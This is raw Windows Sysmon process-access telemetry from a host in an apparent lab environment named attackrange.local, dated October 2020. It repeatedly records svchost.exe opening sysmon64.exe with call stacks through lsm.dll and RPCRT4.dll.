09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 